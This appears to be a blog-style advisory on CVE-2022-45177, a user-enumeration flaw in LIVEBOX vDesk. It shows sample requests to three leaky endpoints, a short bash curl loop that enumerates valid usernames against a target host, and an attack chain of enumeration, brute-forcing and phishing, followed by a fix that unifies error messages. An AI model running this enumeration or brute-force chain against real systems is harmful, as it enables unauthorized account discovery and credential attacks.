CVE-2022-45177 - Exploiting Observable Response Discrepancy in LIVEBOX Collaboration vDesk (up to v031)

In November 2022, a security vulnerability was identified in LIVEBOX Collaboration vDesk (up to version v031). The issue, tracked as CVE-2022-45177, stems from an Observable Response Discrepancy. This vulnerability can leak sensitive information, exposing internal logic and user data to unauthorized actors—potentially allowing attackers to validate usernames, enumerate users, and probe authentication logic.

Let’s break down what this means, how it works, and what you can do about it.

What is an “Observable Response Discrepancy”?

Simply put, when a web app responds a little differently—in terms of the status code, response message, timing, or structure—depending on the input, an attacker can use this to infer sensitive details. In LIVEBOX vDesk, certain endpoints don’t give the same generic error message for bad requests. Instead, they leak info based on what gets sent.

Three main endpoints in vDesk up to v031 show this problem

- /api/v1/vdeskintegration/user/isenableuser
- /api/v1/sharedsearch?search={NAME]+{SURNAME]
- /login

Each endpoint behaves differently when queried with different inputs, allowing attackers to infer system state and user existence.


## 1. /api/v1/vdeskintegration/user/isenableuser Endpoint

This endpoint checks if a user is enabled. When making a POST request, the response varies based on the validity of the provided user data.

POST request with a valid username

POST /api/v1/vdeskintegration/user/isenableuser
Content-Type: application/json

{
  "username": "john.doe"
}

*Response:*

{
  "isenabled": true,
  "username": "john.doe"
}

POST with a non-existent username

POST /api/v1/vdeskintegration/user/isenableuser
Content-Type: application/json

{
  "username": "notarealuser"
}

*Response:*

{
  "isenabled": false,
  "username": "notarealuser"
}

Problem: The response gives a clear “true/false” plus the original username, confirming if a user exists, which an attacker can abuse to enumerate users.


## 2. /api/v1/sharedsearch?search={NAME]+{SURNAME] Endpoint

A GET request to this endpoint returns different HTTP status codes and response payloads based on whether the search target exists.

Sample Requests

GET /api/v1/sharedsearch?search=Alice+Smith HTTP/1.1
Host: vdesk.target.com

*Response for existing user:*

[
  {
    "id": "1234",
    "name": "Alice Smith",
    "email": "alice.smith@vdesk.target.com"
  }
]

*Response for non-existent user:*

[]

Problem: If you know part of a name or email, you can enumerate all users in the system by brute-forcing name combinations.


## 3. /login Endpoint

Here’s where attackers can abuse the classic “timing” or “error response” discrepancies.

Example: Different Responses for Login Attempts

POST /login
Content-Type: application/x-www-form-urlencoded

username=john.doe&password=wrongpassword

*Response:*

{
  "error": "Invalid password."
}

POST /login
username=notarealuser&password=doesntmatter

*Response:*

{
  "error": "User does not exist."
}

Problem: A different error message makes it trivial to validate whether an account exists, which is useful for targeted attacks and phishing.

Step 1: User Enumeration

Using /api/v1/vdeskintegration/user/isenableuser or /api/v1/sharedsearch, an attacker can enumerate valid usernames and related details.

Quick Bash Script Example

for user in $(cat userlist.txt); do
  curl -s -X POST https://vdesk.target.com/api/v1/vdeskintegration/user/isenableuser \
    -H "Content-Type: application/json" \
    -d '{"username":"'$user'"}' | grep 'isenabled'
done

*This will print out which users are valid/enabled.*

Step 2: Brute-Force Attacks

With a list of valid usernames, attackers can try brute-forcing passwords via the /login endpoint. Because of the distinct responses, attackers know when they get a correct username, and can focus password attacks on valid accounts.

Step 3: Phishing or Social Engineering

Leaked details (like full names, emails, enabled statuses) make it easier to craft convincing phishing attacks.

For Developers

- Standardize error messages: Always use the same error message, status code, and structure for both failed authentication and non-existent users.

Change

if user_exists:
    if password_correct:
        return {"msg": "Welcome!"}
    else:
        return {"error": "Invalid password."}
else:
    return {"error": "User does not exist."}

To:

return {"error": "Invalid credentials."}

References

- NIST NVD - CVE-2022-45177
- OWASP Testing for Account Enumeration and Guessable User Account
- LIVEBOX Collaboration Homepage

Final Words

*CVE-2022-45177* reminds us how subtle implementation mistakes can give up internal secrets. Developers: always treat error handling as part of your security surface! If you use LIVEBOX vDesk, watch for updates and keep an eye on your logs.


Have questions or want to share your experience with this or similar vulnerabilities? Let’s discuss in the comments below. Stay safe!

Timeline

Published on: 02/21/2024 16:15:49 UTC
Last modified on: 03/19/2024 16:48:49 UTC